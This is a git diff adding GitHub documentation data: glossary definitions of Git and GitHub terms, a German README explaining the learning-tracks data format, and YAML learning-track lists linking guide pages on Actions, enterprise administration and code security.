+- term: pinned repository
+  description: >-
+    A repository that a user has decided to display prominently on their
+    profile.
+- term: pre-receive hooks
+  description: >-
+    Scripts that run on the GitHub Enterprise server that you can use to
+    implement quality checks.
+- term: private contributions
+  description: Contributions made to a private (vs. public) repository.
+- term: private repository
+  description: >-
+    Private repositories are only visible to the repository owner and
+    collaborators that the owner specified.
+- term: production branch
+  description: >-
+    A branch with final changes that are ready to be used or deployed to an application or site.
+- term: profile
+  description: The page that shows information about a user's activity on GitHub.
+- term: profile photo
+  description: >-
+    A custom image users upload to GitHub to identify their activity, usually
+    along with their username. This is also referred to as an avatar.
+- term: project board
+  description: >-
+    Boards within GitHub that are made up of issues, pull requests, and notes
+    that are categorized as cards in columns.
+- term: protected branch
+  description: >-
+    Protected branches block several features of Git on a branch that a
+    repository administrator chooses to protect. They can't be force pushed,
+    deleted, have changes merged without required checks passing or required
+    reviews approved, or have files uploaded to it from the GitHub web
+    interface. A protected branch is usually the default branch.
+- term: public contributions
+  description: Contributions made to a public (vs. private) repository.
+- term: public repository
+  description: >-
+    A public repository can be viewed by anyone, including people who aren't
+    GitHub users.
+- term: pull
+  description: >-
+    Pull refers to when you are fetching in changes and merging them. For
+    instance, if someone has edited the remote file you're both working on,
+    you'll want to pull in those changes to your local copy so that it's up to
+    date. See also fetch.
+- term: pull access
+  description: A synonym for read access.
+- term: pull request
+  description: >-
+    Pull requests are proposed changes to a repository submitted by a user and
+    accepted or rejected by a repository's collaborators. Like issues, pull
+    requests each have their own discussion forum.
+- term: pull request review
+  description: >-
+    Comments from collaborators on a pull request that approve the changes or
+    request further changes before the pull request is merged.
+- term: pulse graph
+  description: A repository graph that gives you an overview of a repository's activity.
+- term: punch graph
+  description: >-
+    A repository graph that shows the frequency of updates to a repository based
+    on the day of week and time of day
+- term: push
+  description: >-
+    To push means to send your committed changes to a remote repository on
+    GitHub.com. For instance, if you change something locally, you can push those changes so that others may access them.
+- term: push a branch
+  description: >-
+    When you successfully push a branch to a remote repository, you update the remote branch with changes from your local branch. When you "push a branch", Git will search for the branch's HEAD ref in the remote repository and verify that it is a direct ancestor to the branch's local HEAD ref. Once verified, Git pulls all objects (reachable from the local HEAD ref and missing from the remote repository) into the remote object database and then updates the remote HEAD ref. If the remote HEAD is not an ancestor to the local HEAD, the push fails.
+- term: push access
+  description: A synonym for write access.
+- term: read access
+  description: >-
+    A permission level on a repository that allows the user to pull, or read,
+    information from the repository. All public repositories give read access to
+    all GitHub users. A synonym for pull access.
+- term: README
+  description: A text file containing information about the files in a repository that is typically the first file a visitor to your repository will see. A README file, along with a repository license, contribution guidelines, and a code of conduct, helps you share expectations and manage contributions to your project.
+- term: rebase
+  description: >-
+    To reapply a series of changes from a branch to a different base, and reset
+    the HEAD of that branch to the result.
+- term: recovery code
+  description: A code that helps you regain access to your GitHub account.
+- term: release
+  description: GitHub's way of packaging and providing software to your users.
+- term: remote
+  description: >-
+    This is the version of a repository or branch that is hosted on a server, most likely
+    GitHub.com. Remote versions can be connected to local clones so that changes can be
+    synced.
+- term: remote repository
+  description: >-
+    A repository that is used to track the same project but resides somewhere
+    else.
+- term: remote URL
+  description: >-
+    The place where your code is stored: a repository on GitHub, another user's
+    fork, or even a different server.
+- term: replica
+  description: >-
+    A GitHub Enterprise instance that provides redundancy for the primary GitHub
+    Enterprise instance.
+- term: repository
+  description: >-
+    A repository is the most basic element of GitHub. They're easiest to imagine
+    as a project's folder. A repository contains all of the project files
+    (including documentation), and stores each file's revision history.
+    Repositories can have multiple collaborators and can be either public or
+    private.
+- term: repository cache
+  description: >-
+    A read-only mirror of repositories for your GitHub Enterprise server instance, located near
+    distributed teams and CI clients.
+- term: repository graph
+  description: A visual representation of your repository's data.
+- term: repository maintainer
+  description: >-
+    Someone who manages a repository. This person may help triage issues and use labels and other features to manage the work of the repository. This person may also be responsible for keeping the README and contributing files updated.
+- term: required pull request review
+  description: >-
+    Required reviews ensure that pull requests have at least one approved review
+    before collaborators can make changes to a protected branch.
+- term: required status check
+  description: >-
+    Checks on pull requests that ensure all required CI tests are passing before
+    collaborators can make changes to a protected branch.
+- term: resolve
+  description: The action of fixing up manually what a failed automatic merge left behind.
+- term: revert
+  description: >-
+    When you revert a pull request on GitHub, a new pull request is automatically opened, which has one commit that reverts the merge commit
+    from the original merged pull request. In Git, you can revert commits with `git revert`.
+- term: review
+  description: >-
+    Reviews allow others with access to your repository to comment on the changes proposed in pull
+    requests, approve the changes, or request further changes before the pull
+    request is merged.
+- term: root directory
+  description: The first directory in a hierarchy.
+- term: root filesystem
+  description: The base operating system and the GitHub Enterprise application environment.
+- term: saved reply
+  description: >-
+    A comment you can save and add to your GitHub user account so that you can
+    use it across GitHub in issues and pull requests.
+- term: scope
+  description: >-
+    Named groups of permissions that an OAuth App can request to access both
+    public and non-public data.
+- term: seat
+  description: >-
+    A user within a GitHub Enterprise organization. This may be referred to as
+    "seat count."
+- term: secret team
+  description: >-
+    A team that is only visible to the other people on the team and people with owner
+    permissions.
+- term: security log
+  description: >-
+    A log that lists the last 50 actions or those performed within the last 90
+    days.
+- term: server-to-server request
+  description: >-
+    An API request used by an application that acts as a bot, independently of any particular user. For example, an application that runs on a scheduled basis and closes issues where there has been no activity for a long time. Applications that use this type of authentication don't use a licensed GitHub account so, in an enterprise with a billing plan that allows a certain number of licenses to be used, a server-to-server bot is not consuming one of your GitHub licenses. The token used in a server-to-server request is acquired programmatically, via [the GitHub API](/rest/reference/apps#create-an-installation-access-token-for-an-app). See also, "[user-to-server request](#user-to-server-request)."
+- term: service hook
+  description: >-
+    Also called "webhook." Webhooks provide a way for notifications to be
+    delivered to an external web server whenever certain actions occur on a
+    repository or organization.
+- term: single sign-on
+  description: >-
+    Also called SSO. Allows users to sign in to a single location - an identity
+    provider (IdP) - that then gives the user access to other service providers.
+- term: snapshot
+  description: A checkpoint of a virtual machine at a point in time.
+- term: squash
+  description: To combine multiple commits into a single commit. Also a Git command.
+- term: SSH key
+  description: >-
+    SSH keys are a way to identify yourself to an online server, using an encrypted message. It's as if your computer has its own unique password to another service. {% data variables.product.product_name %} uses SSH keys to securely transfer information to your computer.
+- term: staging instance
+  description: >-
+    A way to test modifications before they are applied to your actual GitHub
+    Enterprise instance.
+- term: status
+  description: >-
+    A visual representation within a pull request that your commits meet the
+    conditions set for the repository you're contributing to.
+- term: status checks
+  description: >-
+    Status checks are external processes, such as continuous integration builds, which run for each commit you make in a repository. For more information, see "[About status checks](/articles/about-status-checks)."
+- term: star
+  description: >-
+    A bookmark or display of appreciation for a repository. Stars are a manual
+    way to rank the popularity of projects.
+- term: subscription
+  description: A user or organization's GitHub plan.
+- term: team
+  description: >-
+    A group of organization members that reflect your company or group's
+    structure with cascading access permissions and mentions.
+- term: team maintainer
+  description: >-
+    Organization members that have a subset of permissions available to
+    organization owners to manage teams.
+- term: Team plan
+  description: >-
+    An organization billing plan that gives you unlimited public and private
+    repositories.
+- term: timeline
+  description: A series of events in a pull request or on a user profile.
+- term: topic branch
+  description: >-
+    A regular Git branch that is used by a developer to identify a conceptual
+    line of development. Since branches are very easy and inexpensive, it is
+    often desirable to have several small branches that each contain very well
+    defined concepts or small incremental yet related changes. Can also be called a feature branch.
+- term: topics
+  description: >-
+    A way to explore repositories in a particular subject area, find projects to
+    contribute to, and discover new solutions to a specific problem on GitHub.
+- term: traffic graph
+  description: >-
+    A repository graph that shows a repository's traffic, including full clones
+    (not fetches), visitors from the past 14 days, referring sites, and popular
+    content.
+- term: transfer
+  description: >-
+    To transfer a repository means to change the owner of a repository. The new owner will be able to
+    immediately administer the repository's contents, issues, pull requests,
+    releases, and settings.
+- term: upstream
+  description: >-
+    When talking about a branch or a fork, the primary branch on the original
+    repository is often referred to as the "upstream", since that is the main
+    place that other changes will come in from. The branch/fork you are working
+    on is then called the "downstream". Also called origin.
+- term: upstream branch
+  description: >-
+    The default branch that is merged into the branch in question (or the branch
+    in question is rebased onto). It is configured via `branch.<name>.remote` and
+    `branch.<name>.merge`. If the upstream branch of A is origin/B sometimes we
+    say "A is tracking origin/B".
+- term: user
+  description: >-
+    Users are people with personal GitHub accounts. Each user has a personal profile, and
+    can own multiple repositories, public or private. They can create or be
+    invited to join organizations or collaborate on another user's repository.
+- term: username
+  description: A user's handle on GitHub.
+- term: user-to-server request
+  description: >-
+    An API request used by an application that performs a task on behalf of a particular user. Where a task is carried out with user-to-server authentication it's shown on GitHub as having been done by a user via an application. For example, you might choose to create an issue from within a third-party application, and the application would do this on your behalf on GitHub. The scope of tasks an application can perform using a user-to-server request is restricted by both the app's and the user's permissions and access. The token used in a user-to-server request is acquired via OAuth. For more information, see "[Identifying and authorizing users for GitHub Apps](/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps)." See also, "[server-to-server request](#server-to-server-request)."
+- term: visible team
+  description: A team that can be viewed and @mentioned by every organization member.
+- term: watch
+  description: >-
+    You can watch a repository or issue to receive notifications when updates are made to an issue or pull request.
+- term: watching notifications
+  description: A notification about activity in a repository a user has subscribed to.
+- term: web notifications
+  description: >-
+    Notifications displayed in the web interface on GitHub:
+    https://github.com/notifications
+- term: webhooks
+  description: >-
+    Webhooks allow you to build or set up GitHub Apps which subscribe to certain
+    events on GitHub.com. Webhooks provide a way for notifications to be
+    delivered to an external web server whenever certain actions occur on a
+    repository or organization. Also called a service hook.
+- term: write access
+  description: >-
+    A permission level on a repository that allows the user to push, or write,
+    changes to the repository.
diff --git a/translations/de-DE/data/learning-tracks/README.md b/translations/de-DE/data/learning-tracks/README.md
new file mode 100644
index 0000000000..290b7d4c5a
--- /dev/null
+++ b/translations/de-DE/data/learning-tracks/README.md
@@ -0,0 +1,64 @@
+---
+ms.openlocfilehash: dcc6cf1e8adf15c4997d4d62cd34bde99f7d37cd
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145101456"
+---
+# Learning Tracks (aka Lernpfade)
+
+Learning Tracks sind eine Sammlung von Artikeln, die Dir helfen, ein bestimmtes Thema zu erlernen. Learning Tracks werden auf einer Produktbasis definiert. Ein Beispiel findest du unter https://docs.github.com/en/actions/guides.
+
+## Funktionsweise
+
+Learning Track Daten für ein Produkt werden an zwei Stellen definiert:
+
+1. Ein einfaches Array mit den Namen der Lernpfade wird auf der Indexseite der Produktleitfäden im Frontmatter definiert.
+
+    Gehen Sie beispielsweise in `content/actions/guides/index.md` folgendermaßen vor:
+    ```
+    learningTracks:
+      - getting_started
+      - continuous_integration
+      - continuous_deployment
+      - deploy_to_the_cloud
+      - hosting_your_own_runners
+      - create_actions
+    ```
+
+2. Zusätzliche Daten für jeden Track werden in einer YAML-Datei definiert, die nach dem **Produkt** im `data` Verzeichnis benannt ist.
+
+    Beispielsweise wird in `data/learning-tracks/actions.yml`, jedes Element aus dem `learningTracks`Array der Inhaltsdatei mit zusätzlichen Daten wie `title`, `description`, und einem Array von `guides`Links dargestellt.
+
+    Ein Lernpfad in dieser YAML **pro Version** muss über als „hervorgehobener“ Lernpfad `featured_track: true`gekennzeichnet werden, damit er oben auf der Seite der Produktleitlinien erscheint. Ein Test schlägt fehl, wenn diese Eigenschaft fehlt.
+
+    Die `featured_track` Eigenschaft kann eine einfache boolesche (z `featured_track: true`. B. ) oder eine Zeichenfolge sein, die Versionsanweisungen enthält (z `featured_track: '{% ifversion fpt %}true{% else %}false{% endif %}'`. B. ). Wenn Du die Versionsverwaltung verwendest, wirst Du mehrere `featured_track`s pro YML-Datei haben, aber stelle sicher, dass nur eine in jeder aktuell unterstützten Version gerendert wird. Ein Test schlägt fehl, wenn für jede Version mehr oder weniger als ein hervorgehobener Link vorhanden ist.
+
+## Versionsverwaltung
+
+Die Versionierung für Lernpfade wird zum Zeitpunkt des Renderns der Seite verarbeitet. Der Code befindet sich in [`lib/learning-tracks.js`](lib/learning-tracks.js), der von `page.render()` aufgerufen wird. Die bearbeiteten Lernpfade werden dann von `components/guides` gerendert.
+
+Flüssigkeitsbedingungen müssen **nicht** für die Versionsverwaltung in der YAML-Datei für Anleitungen verwendet werden. Nur die Lernpfadlinien, die für die aktuelle Version gelten, werden automatisch gerendert. Wenn es keine Tracks mit Leitfäden gibt, die zur aktuellen Version gehören, wird der Abschnitt mit den Lernpfaden überhaupt nicht angezeigt.
+
+Die explizite Versionsverwaltung in den YML-Daten der Lernpfade eines Produkts wird ebenfalls unterstützt. Das Format und die zulässigen Werte entsprechen der [Frontmatter-Versionseigenschaft](/content#versions).
+
+Beispiel:
+
+```
+learning_track_name:
+  title: 'Learning track title'
+  description: 'Learning track description'
+  featured_track: true
+  versions:
+    ghes: '>=3.0'
+  guides:
+   - /path/to/guide1
+   - /path/to/guide2
+```
+
+Wenn die `versions` Eigenschaft nicht enthalten ist, wird davon ausgegangen, dass der Track in allen Versionen verfügbar ist.
+
+## Schemaerzwingung
+
+Das Schema für die Überprüfung des Lernpfads YAML befindet sich in [`tests/helpers/schemas/learning-tracks-schema.js`](tests/helpers/schemas/learning-tracks-schema.js) und wird ausgeübt von [`tests/content/lint-files.js`](tests/content/lint-files.js).
diff --git a/translations/de-DE/data/learning-tracks/actions.yml b/translations/de-DE/data/learning-tracks/actions.yml
new file mode 100644
index 0000000000..8e6d54e871
--- /dev/null
+++ b/translations/de-DE/data/learning-tracks/actions.yml
@@ -0,0 +1,64 @@
+getting_started:
+  title: 'Get started with {% data variables.product.prodname_actions %}'
+  description: 'Discover the possibilities of {% data variables.product.prodname_actions %} by creating your first workflow.'
+  guides:
+    - /actions/learn-github-actions/introduction-to-github-actions
+    - /actions/learn-github-actions/finding-and-customizing-actions
+    - /actions/learn-github-actions/essential-features-of-github-actions
+    - /actions/learn-github-actions/managing-complex-workflows
+    - /actions/learn-github-actions/reusing-workflows
+    - /actions/security-guides/security-hardening-for-github-actions
+  featured_track: true
+adopting_github_actions_for_your_enterprise_ghec:
+  title: 'Adopt GitHub Actions for your enterprise'
+  description: 'Learn how to plan and implement a rollout of {% data variables.product.prodname_actions %} in your enterprise.'
+  versions:
+    ghec: '*'
+  guides:
+    - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises
+    - /actions/learn-github-actions/understanding-github-actions
+    - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise
+    - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions
+    - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud
+    - /actions/security-guides/security-hardening-for-github-actions
+    - /billing/managing-billing-for-github-actions/about-billing-for-github-actions
+adopting_github_actions_for_your_enterprise_ghes_and_ghae:
+  title: 'Adopt GitHub Actions for your enterprise'
+  description: 'Learn how to plan and implement a rollout of {% data variables.product.prodname_actions %} in your enterprise.'
+  versions:
+    ghes: '*'
+    ghae: '*'
+  guides:
+    - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises
+    - /actions/learn-github-actions/understanding-github-actions
+    - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise
+    - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions
+    - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud
+    - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server
+    - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-self-hosted-runners-for-your-enterprise
+    - /actions/security-guides/security-hardening-for-github-actions
+    - /billing/managing-billing-for-github-actions/about-billing-for-github-actions
+hosting_your_own_runners:
+  title: 'Host your own runners'
+  description: 'You can create self-hosted runners to run workflows in a highly customizable environment.'
+  guides:
+    - /actions/hosting-your-own-runners/about-self-hosted-runners
+    - /actions/hosting-your-own-runners/adding-self-hosted-runners
+    - /actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service
+    - /actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners
+    - /actions/hosting-your-own-runners/using-labels-with-self-hosted-runners
+    - /actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow
+    - /actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups
+    - /actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners
+create_actions:
+  title: 'Create an action'
+  description: 'Do you have an idea for a new action? Have you built something custom for your project? Learn how to build shareable actions and publish them to GitHub Marketplace.'
+  guides:
+    - /actions/creating-actions/about-custom-actions
+    - /actions/creating-actions/creating-a-docker-container-action
+    - /actions/creating-actions/creating-a-javascript-action
+    - /actions/creating-actions/creating-a-composite-action
+    - /actions/creating-actions/metadata-syntax-for-github-actions
+    - /actions/creating-actions/dockerfile-support-for-github-actions
+    - /actions/creating-actions/setting-exit-codes-for-actions
+    - /actions/creating-actions/publishing-actions-in-github-marketplace
diff --git a/translations/de-DE/data/learning-tracks/admin.yml b/translations/de-DE/data/learning-tracks/admin.yml
new file mode 100644
index 0000000000..6c84460f88
--- /dev/null
+++ b/translations/de-DE/data/learning-tracks/admin.yml
@@ -0,0 +1,139 @@
+get_started_with_github_ae:
+  title: 'Get started with {% data variables.product.prodname_ghe_managed %}'
+  description: 'Learn about {% data variables.product.prodname_ghe_managed %} and complete the initial configuration of a new enterprise.'
+  featured_track: true
+  versions:
+    ghae: '*'
+  guides:
+    - /admin/overview/about-github-ae
+    - /admin/overview/about-data-residency
+    - /admin/configuration/configuring-your-enterprise/deploying-github-ae
+    - /admin/configuration/initializing-github-ae
+    - /admin/configuration/restricting-network-traffic-to-your-enterprise
+    - /admin/github-actions/getting-started-with-github-actions-for-github-ae
+
+deploy_an_instance:
+  title: 'Deploy an instance'
+  description: 'Install {% data variables.product.prodname_ghe_server %} on your platform of choice and configure SAML authentication.'
+  featured_track: true
+  versions:
+    ghes: '*'
+  guides:
+    - /admin/overview/system-overview
+    - /admin/installation
+    - /admin/configuration/accessing-the-management-console
+    - /admin/configuration/configuring-a-hostname
+    - /admin/authentication/using-saml
+    - /admin/configuration/site-admin-dashboard
+
+upgrade_your_instance:
+  title: 'Upgrade your instance'
+  description: 'Test upgrades in staging, notify users of maintenance, and upgrade your instance for the latest features and security updates.'
+  versions:
+    ghes: '*'
+  guides:
+    - /admin/enterprise-management/enabling-automatic-update-checks
+    - /admin/installation/setting-up-a-staging-instance
+    - /admin/enterprise-management/upgrade-requirements
+    - /admin/user-management/customizing-user-messages-for-your-enterprise
+    - /admin/configuration/enabling-and-scheduling-maintenance-mode
+    - /admin/enterprise-management/upgrading-github-enterprise-server
+
+adopting_github_actions_for_your_enterprise_ghec:
+  title: 'Adopt GitHub Actions for your enterprise'
+  description: 'Learn how to plan and implement a rollout of {% data variables.product.prodname_actions %} in your enterprise.'
+  versions:
+    ghec: '*'
+  guides:
+    - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises
+    - /actions/learn-github-actions/understanding-github-actions
+    - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise
+    - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions
+    - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud
+    - /actions/security-guides/security-hardening-for-github-actions
+    - /billing/managing-billing-for-github-actions/about-billing-for-github-actions
+
+adopting_github_actions_for_your_enterprise_ghes_and_ghae:
+  title: 'Adopt GitHub Actions for your enterprise'
+  description: 'Learn how to plan and implement a rollout of {% data variables.product.prodname_actions %} in your enterprise.'
+  versions:
+    ghes: '*'
+    ghae: '*'
+  guides:
+    - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises
+    - /actions/learn-github-actions/understanding-github-actions
+    - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise
+    - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions
+    - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud
+    - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server
+    - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-self-hosted-runners-for-your-enterprise
+    - /actions/security-guides/security-hardening-for-github-actions
+    - /billing/managing-billing-for-github-actions/about-billing-for-github-actions
+
+increase_fault_tolerance:
+  title: 'Increase the fault tolerance of your instance'
+  description: "Back up your developers' code and configure high availability (HA) to ensure the reliability of {% data variables.product.prodname_ghe_server %} in your environment."
+  versions:
+    ghes: '*'
+  guides:
+    - /admin/configuration/accessing-the-administrative-shell-ssh
+    - /admin/configuration/configuring-backups-on-your-appliance
+    - /admin/enterprise-management/about-high-availability-configuration
+    - /admin/enterprise-management/creating-a-high-availability-replica
+    - /admin/configuration/using-github-enterprise-server-with-a-load-balancer
+
+improve_security_of_your_instance:
+  title: 'Improve the security of your instance'
+  description: "Review network configuration and security features, and harden the instance running {% data variables.product.prodname_ghe_server %} to protect your enterprise's data."
+  versions:
+    ghes: '*'
+  guides:
+    - /admin/configuration/enabling-private-mode
+    - /admin/guides/installation/configuring-tls
+    - /admin/configuration/troubleshooting-ssl-errors
+    - /admin/configuration/enabling-subdomain-isolation
+    - /admin/configuration/accessing-the-administrative-shell-ssh
+    - /admin/configuration/network-ports
+    - /admin/configuration/configuring-built-in-firewall-rules
+    - /admin/user-management/best-practices-for-user-security
+    - /admin/user-management/promoting-or-demoting-a-site-administrator
+
+configure_github_actions:
+  title: 'Configure {% data variables.product.prodname_actions %}'
+  description: 'Allow your developers to create, automate, customize, and execute powerful software development workflows for {% data variables.location.product_location %} with {% data variables.product.prodname_actions %}.'
+  versions:
+    ghes: '*'
+  guides:
+    - /admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server
+    - /admin/github-actions/enforcing-github-actions-policies-for-your-enterprise
+    - /admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect
+    - /admin/github-actions/high-availability-for-github-actions
+    - /admin/github-actions/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled
+    - /admin/github-actions/using-a-staging-environment
+
+configure_github_advanced_security:
+  title: 'Configure {% data variables.product.prodname_GH_advanced_security %}'
+  description: "Improve the quality and security of your developers' code with {% data variables.product.prodname_GH_advanced_security %}."
+  versions:
+    ghes: '*'
+  guides:
+    - /admin/advanced-security/about-licensing-for-github-advanced-security
+    - /admin/advanced-security/enabling-github-advanced-security-for-your-enterprise
+    - /admin/advanced-security/configuring-code-scanning-for-your-appliance
+    - /admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-dependency-review-for-your-appliance
+    - /admin/advanced-security/configuring-secret-scanning-for-your-appliance
+    - /admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise
+
+get_started_with_your_enterprise_account:
+  title: 'Get started with your enterprise account'
+  description: 'Get started with your enterprise account to centrally manage multiple organizations on {% data variables.product.product_name %}.'
+  versions:
+    ghes: '*'
+    ghec: '*'
+  guides:
+    - /admin/overview/about-enterprise-accounts
+    - /billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise
+    - /admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise
+    - /admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise
+    - /admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise
+    - /admin/policies/enforcing-policies-for-your-enterprise/about-enterprise-policies
diff --git a/translations/de-DE/data/learning-tracks/code-security.yml b/translations/de-DE/data/learning-tracks/code-security.yml
new file mode 100644
index 0000000000..ae9e29ccb4
--- /dev/null
+++ b/translations/de-DE/data/learning-tracks/code-security.yml
@@ -0,0 +1,131 @@
+# Feature available only on dotcom
+security_advisories:
+  title: 'Fix and disclose a security vulnerability'
+  description: 'Using repository security advisories to privately fix a reported vulnerability and get a CVE.'
+  featured_track: '{% ifversion fpt or ghec %}true{% else %}false{% endif %}'
+  guides:
+    - /code-security/security-advisories/guidance-on-reporting-and-writing/about-coordinated-disclosure-of-security-vulnerabilities
+    - /code-security/security-advisories/global-security-advisories/about-the-github-advisory-database
+    - /code-security/security-advisories/global-security-advisories/about-global-security-advisories
+    - /code-security/security-advisories/repository-security-advisories/about-repository-security-advisories
+    - /code-security/security-advisories/guidance-on-reporting-and-writing/best-practices-for-writing-repository-security-advisories
+    - /code-security/security-advisories/guidance-on-reporting-and-writing/privately-reporting-a-security-vulnerability
+    - /code-security/security-advisories/guidance-on-reporting-and-writing/managing-privately-reported-security-vulnerabilities
+    - /code-security/security-advisories/repository-security-advisories/configuring-private-vulnerability-reporting-for-a-repository
+    - /code-security/security-advisories/repository-security-advisories/creating-a-repository-security-advisory
+    - /code-security/security-advisories/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory
+    - /code-security/security-advisories/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability
+    - /code-security/security-advisories/repository-security-advisories/publishing-a-repository-security-advisory
+    - /code-security/security-advisories/repository-security-advisories/editing-a-repository-security-advisory
+    - /code-security/security-advisories/repository-security-advisories/withdrawing-a-repository-security-advisory
+    - /code-security/security-advisories/repository-security-advisories/removing-a-collaborator-from-a-repository-security-advisory
+
+# Feature available on dotcom and GHES 3.3+, so articles available on GHAE and earlier GHES hidden to hide the learning track
+dependabot_alerts:
+  title: 'Get notifications for insecure dependencies'
+  description: 'Set up Dependabot to alert you to new vulnerabilities{% ifversion GH-advisory-db-supports-malware %} or malware{% endif %} in your dependencies.'
+  guides:
+    - /code-security/dependabot/dependabot-alerts/about-dependabot-alerts
+    - '{% ifversion fpt or ghec or ghes %}/github/administering-a-repository/managing-repository-settings/managing-security-and-analysis-settings-for-your-repository{% endif %}'
+    - /code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts
+    - /code-security/dependabot/dependabot-alerts/configuring-notifications-for-dependabot-alerts
+    - /code-security/dependabot/working-with-dependabot/managing-pull-requests-for-dependency-updates
+    - /code-security/dependabot/working-with-dependabot/troubleshooting-the-detection-of-vulnerable-dependencies
+    - /code-security/dependabot/working-with-dependabot/troubleshooting-dependabot-errors
+
+# Feature available on dotcom and GHES 3.3+, so articles available on GHAE and earlier GHES hidden to hide the learning track
+dependabot_security_updates:
+  title: 'Get pull requests to update your vulnerable dependencies'
+  description: 'Set up Dependabot to create pull requests when new vulnerabilities are reported.'
+  guides:
+    - /code-security/dependabot/dependabot-security-updates/about-dependabot-security-updates
+    - /code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates
+    - '{% ifversion fpt or ghec or ghes %}/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies{% endif %}'
+    - '{% ifversion fpt or ghec or ghes %}/github/administering-a-repository/managing-repository-settings/managing-security-and-analysis-settings-for-your-repository{% endif %}'
+    - /code-security/dependabot/working-with-dependabot/managing-pull-requests-for-dependency-updates
+    - '{% ifversion fpt or ghec or ghes %}/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies{% endif %}'
+
+# Feature available only on dotcom and GHES 3.3+
+dependency_version_updates:
+  title: 'Keep your dependencies up-to-date'
+  description: 'Use Dependabot to check for new releases and create pull requests to update your dependencies.'
+  guides:
+    - /code-security/dependabot/dependabot-version-updates/about-dependabot-version-updates
+    - /code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates
+    - /code-security/dependabot/dependabot-version-updates/customizing-dependency-updates
+    - /code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file
+    - /code-security/dependabot/working-with-dependabot/keeping-your-actions-up-to-date-with-dependabot
+    - /code-security/dependabot/working-with-dependabot/automating-dependabot-with-github-actions
+    - /code-security/dependabot/dependabot-version-updates/listing-dependencies-configured-for-version-updates
+    - /code-security/dependabot/working-with-dependabot/managing-encrypted-secrets-for-dependabot
+    - /code-security/dependabot/working-with-dependabot/managing-pull-requests-for-dependency-updates
+    - /code-security/dependabot/working-with-dependabot/troubleshooting-dependabot-errors
+
+# Feature available in GHEC, GHES 3.0 up, and GHAE. Feature limited on FPT so hidden there.
+secret_scanning:
+  title: 'Scan for secrets'
+  description: 'Set up secret scanning to guard against accidental check-ins of tokens, passwords, and other secrets to your repository.'
+  guides:
+    - '{% ifversion not fpt %}/code-security/secret-scanning/about-secret-scanning{% endif %}'
+    - '{% ifversion not fpt %}/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories{% endif %}'
+    - '{% ifversion not fpt %}/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning{% endif %}'
+    - '{% ifversion not fpt %}/code-security/secret-scanning/managing-alerts-from-secret-scanning{% endif %}'
+    - '{% ifversion not fpt %}/code-security/secret-scanning/secret-scanning-patterns{% endif %}'
+    - '{% ifversion secret-scanning-push-protection %}/code-security/secret-scanning/protecting-pushes-with-secret-scanning{% endif %}'
+    - '{% ifversion secret-scanning-push-protection %}/code-security/secret-scanning/pushing-a-branch-blocked-by-push-protection{% endif %}'
+
+# Security overview feature available in GHEC and GHES 3.2+, so other articles hidden to hide the learning path in other versions
+security_alerts:
+  title: 'Explore and manage security alerts'
+  description: 'Learn where to find and resolve security alerts.'
+  guides:
+    - '{% ifversion ghec or ghes %}/code-security/security-overview/about-the-security-overview {% endif %}'
+    - '{% ifversion ghec or ghes %}/code-security/security-overview/viewing-the-security-overview {% endif %}'
